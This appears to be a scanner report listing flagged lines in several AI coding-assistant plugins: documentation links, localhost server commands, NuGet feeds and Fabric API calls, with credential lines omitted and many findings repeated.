    - Sample app: <https://aka.ms/mvvmtoolkit/samples>

harness/claude-code/plugins/dotnet-desktop-development/skills/winmd-api-search/SKILL.md

  • Network accessline 33
    - **.NET SDK 8.0 or later** — required to build the cache generator. Install from [dotnet.microsoft.com](https://dotnet.microsoft.com/download) if not available.
  • Network accessline 118
    | Namespace prefix | Documentation base URL | |-----------------|----------------------| | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` |
  • Network accessline 119
    |-----------------|----------------------| | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` | | `Microsoft.*` (WinAppSDK) | `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/{fully.qualified.type
  • Network accessline 120
    | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` |
  • Network accessline 121
    | `Microsoft.*` (WinAppSDK) | `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/{fully.qualified.typename}` |
  • Network accessline 123
    For example, `Microsoft.UI.Xaml.Controls.NavigationView` maps to: `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/microsoft.ui.xaml.controls.navigationview`
  • Network accessline 124
    `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/microsoft.ui.xaml.controls.navigationview`
  • Network accessline 231
    - [Windows Platform SDK API reference](https://learn.microsoft.com/uwp/api/) — documentation for `Windows.*` namespaces
  • Network accessline 232
    - [Windows App SDK API reference](https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/) — documentation for `Microsoft.*` WinAppSDK namespaces

harness/claude-code/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/Invoke-WinMdQuery.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/Update-WinMdCache.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 127
    if (-not $bestMajor) {         Write-Error "No .NET SDK >= 8.0 found. Install from https://dotnet.microsoft.com/download"
  • Network accessline 128
    Write-Error "No .NET SDK >= 8.0 found. Install from https://dotnet.microsoft.com/download"

harness/claude-code/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.dgspec.json

  • Network accessline 21
    ],         "sources": {           "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}
  • Network accessline 22
    "sources": {           "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}         },
  • Network accessline 23
    "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}

harness/claude-code/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.g.props

  • Network accessline 1
    <U+FEFF><?xml version="1.0" encoding="utf-8" standalone="no"?> <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  • Network accessline 2
    <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

harness/claude-code/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.g.targets

  • Network accessline 1
    <U+FEFF><?xml version="1.0" encoding="utf-8" standalone="no"?> <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" />
  • Network accessline 2
    <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" />

harness/claude-code/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/cache-generator/obj/project.assets.json

  • Network accessline 2117
    ],       "sources": {         "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}
  • Network accessline 2118
    "sources": {         "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}       },
  • Network accessline 2119
    "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}

harness/claude-code/plugins/doublecheck/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/edge-ai-tasks/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/ember/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "jennyf19"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/ember/skills/daily-focus-board/SKILL.md

  • Network accessline 66
    1. Gather the task list from the user or their message. Capture a short title, optional `emoji`, optional `sub` note, optional `tag`, optional `due`, optional `quad`, and counter fields when the task has a numeric goal. 2. Generate `focus-b
  • Network accessline 67
    2. Generate `focus-board.html` from `assets/board.template.html`, escaping injected JSON as described above. 3. Serve the folder on loopback so localStorage has an `http://` origin: `python -m http.server 8799 --bind 127.0.0.1`, or use `scr
  • Network accessline 68
    3. Serve the folder on loopback so localStorage has an `http://` origin: `python -m http.server 8799 --bind 127.0.0.1`, or use `scripts/serve-board.ps1`.
  • Network accessline 69
    4. Open the board in a browser canvas side panel when the host supports it; otherwise open `http://localhost:8799/focus-board.html` in the default browser. 5. Drive the board through conversation: keep status and notes in the browser, regen
  • Network accessline 116
    **Status:** created | needs input | blocked **Board file:** `focus-board.html` **Open URL:** `http://localhost:8799/focus-board.html`
  • Network accessline 117
    **Board file:** `focus-board.html` **Open URL:** `http://localhost:8799/focus-board.html` **Date key:** `<YYYY-MM-DD>`
  • Network accessline 118
    **Open URL:** `http://localhost:8799/focus-board.html`

harness/claude-code/plugins/ember/skills/daily-focus-board/references/neurodivergent-design.md

  • Network accessline 50
    - **Executive function — task initiation, activation energy, time management, working memory** —   CHADD (Children and Adults with ADHD), the leading ADHD nonprofit:   - *Executive Function Skills* — https://chadd.org/about-adhd/executive-f
  • Network accessline 51
    CHADD (Children and Adults with ADHD), the leading ADHD nonprofit:   - *Executive Function Skills* — https://chadd.org/about-adhd/executive-function-skills/   - *Executive Function Issues and ADHD* (Brown & Barkley models) —
  • Network accessline 52
    - *Executive Function Skills* — https://chadd.org/about-adhd/executive-function-skills/
  • Network accessline 53
    - *Executive Function Issues and ADHD* (Brown & Barkley models) —     https://chadd.org/attention-article/executive-function-issues-and-adhd/ - **Body doubling** — focus improving in the presence of a partner; the board's core premise
  • Network accessline 54
    https://chadd.org/attention-article/executive-function-issues-and-adhd/
  • Network accessline 55
    - **Body doubling** — focus improving in the presence of a partner; the board's core premise   ("drive it by talking to your AI") — Simply Psychology, *Body Doubling and ADHD* —   https://www.simplypsychology.com/articles/body-doubling-adhd
  • Network accessline 56
    ("drive it by talking to your AI") — Simply Psychology, *Body Doubling and ADHD* —   https://www.simplypsychology.com/articles/body-doubling-adhd - **Reduced motion / sensory sensitivity** — behind the reduced-motion toggle and honoring the
  • Network accessline 57
    https://www.simplypsychology.com/articles/body-doubling-adhd
  • Network accessline 59
    `prefers-reduced-motion` setting:   - MDN, *`prefers-reduced-motion`* —     https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion
  • Network accessline 60
    - MDN, *`prefers-reduced-motion`* —     https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion   - W3C WCAG 2.1, *Understanding SC 2.3.3: Animation from Interactions* —
  • Network accessline 61
    https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion
  • Network accessline 62
    - W3C WCAG 2.1, *Understanding SC 2.3.3: Animation from Interactions* —     https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions.html - **Above/below the line — "locating yourself"** (the arrival check-in) — The Conscious
  • Network accessline 63
    https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions.html
  • Network accessline 64
    - **Above/below the line — "locating yourself"** (the arrival check-in) — The Conscious Leadership   Group, *Locating Yourself: A Key to Conscious Leadership* —   https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership
  • Network accessline 65
    Group, *Locating Yourself: A Key to Conscious Leadership* —   https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership - **Important vs. urgent** (the Eisenhower quadrant labels + "Schedule is where the good work lives"):
  • Network accessline 66
    https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership
  • Network accessline 67
    - **Important vs. urgent** (the Eisenhower quadrant labels + "Schedule is where the good work lives"):   - Asana, *The Eisenhower Matrix* — https://asana.com/resources/eisenhower-matrix   - Todoist, *The Eisenhower Matrix* — https://todoist
  • Network accessline 68
    - Asana, *The Eisenhower Matrix* — https://asana.com/resources/eisenhower-matrix
  • Network accessline 69
    - Todoist, *The Eisenhower Matrix* — https://todoist.com/productivity-methods/eisenhower-matrix
  • Network accessline 71
    self-compassion.org — https://self-compassion.org/

harness/claude-code/plugins/ember/skills/daily-focus-board/references/tutorial.md

  • Network accessline 22
    1. Ask Ember to make the board. It serves the folder (e.g. `python -m http.server 8790 --bind 127.0.0.1`) and gives    you an `http://localhost:…/…html` URL.
  • Network accessline 23
    you an `http://localhost:…/…html` URL.
  • Network accessline 34
    > localStorage needs an `http://` origin, so always **serve ** the folder rather than double-clicking

harness/claude-code/plugins/ember/skills/daily-focus-board/scripts/serve-board.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    Write-Error "The server exited on startup (code $($proc.ExitCode)) — is Python installed and the port free?"; exit 1 } $url = "http://localhost:$Port/$File"
  • Network accessline 19
    } $url = "http://localhost:$Port/$File" Write-Host "Focus board: $url"
  • Network accessline 20
    $url = "http://localhost:$Port/$File"

harness/claude-code/plugins/eyeball/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/eyeball/skills/eyeball/tools/eyeball.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 171
    [Credential-related source omitted]
  • Access to secretsline 567
    [Credential-related source omitted]
  • Access to secretsline 572
    [Credential-related source omitted]

harness/claude-code/plugins/fabric-agentic-plugin/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Microsoft Fabric contributors"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "keywords": [
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/COMMON-CLI.md

  • Network accessline 24
    > **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 24
    > **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 24
    > **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 24
    > **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 24
    > **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 24
    > **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 24
    > **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 24
    > **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 25
    > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience.  Without `--resource`, `az rest` will
  • Network accessline 25
    > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience.  Without `--resource`, `az rest` will
  • Network accessline 25
    > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience.  Without `--resource`, `az rest` will
  • Network accessline 25
    > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience.  Without `--resource`, `az rest` will
  • Network accessline 25
    > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience.  Without `--resource`, `az rest` will
  • Network accessline 25
    > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience.  Without `--resource`, `az rest` will
  • Network accessline 25
    > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience.  Without `--resource`, `az rest` will
  • Network accessline 25
    > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience.  Without `--resource`, `az rest` will
  • Network accessline 26
    > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 26
    > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 26
    > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 26
    > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 26
    > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 26
    > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 26
    > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 26
    > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 34
    > **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 34
    > **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 34
    > **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 34
    > **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 34
    > **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 34
    > **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 34
    > **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 34
    > **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 35
    > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 35
    > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 35
    > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 35
    > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 35
    > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 35
    > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 35
    > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 35
    > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 77
    az rest \   --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 77
    az rest \   --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 77
    az rest \   --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 77
    az rest \   --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 77
    az rest \   --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 77
    az rest \   --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 77
    az rest \   --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 77
    az rest \   --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 78
    --method get \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 78
    --method get \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 78
    --method get \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 78
    --method get \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 78
    --method get \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 78
    --method get \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 78
    --method get \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 78
    --method get \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 83
    # curl to the Fabric API — add it via -H:
  • Network accessline 83
    # curl to the Fabric API — add it via -H:
  • Network accessline 83
    # curl to the Fabric API — add it via -H:
  • Network accessline 83
    # curl to the Fabric API — add it via -H:
  • Network accessline 83
    # curl to the Fabric API — add it via -H:
  • Network accessline 83
    # curl to the Fabric API — add it via -H:
  • Network accessline 83
    # curl to the Fabric API — add it via -H:
  • Network accessline 83
    # curl to the Fabric API — add it via -H:
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Network accessline 87
    "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 87
    "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 87
    "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 87
    "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 87
    "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 87
    "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 87
    "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 87
    "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 116
    **Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht
  • Network accessline 116
    **Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht
  • Network accessline 116
    **Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht
  • Network accessline 116
    **Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht
  • Network accessline 116
    **Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht
  • Network accessline 116
    **Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht
  • Network accessline 116
    **Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht
  • Network accessline 116
    **Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht
  • Network accessline 119
    WS_NAME="Marketing" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 119
    WS_NAME="Marketing" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 119
    WS_NAME="Marketing" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 119
    WS_NAME="Marketing" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 119
    WS_NAME="Marketing" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 119
    WS_NAME="Marketing" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 119
    WS_NAME="Marketing" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 119
    WS_NAME="Marketing" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 120
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 120
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 120
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 120
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 120
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 120
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 120
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 120
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 121
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 121
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 121
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 121
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 121
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 121
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 121
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 121
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 122
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 122
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 122
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 122
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 122
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 122
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 122
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 122
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 139
    ITEM_TYPE="Lakehouse" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 139
    ITEM_TYPE="Lakehouse" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 139
    ITEM_TYPE="Lakehouse" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 139
    ITEM_TYPE="Lakehouse" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 139
    ITEM_TYPE="Lakehouse" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 139
    ITEM_TYPE="Lakehouse" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 139
    ITEM_TYPE="Lakehouse" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 139
    ITEM_TYPE="Lakehouse" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 140
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 140
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 140
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 140
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 140
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 140
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 140
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 140
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 142
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \
  • Network accessline 142
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \
  • Network accessline 142
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \
  • Network accessline 142
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \
  • Network accessline 142
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \
  • Network accessline 142
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \
  • Network accessline 142
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \
  • Network accessline 142
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 157
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 157
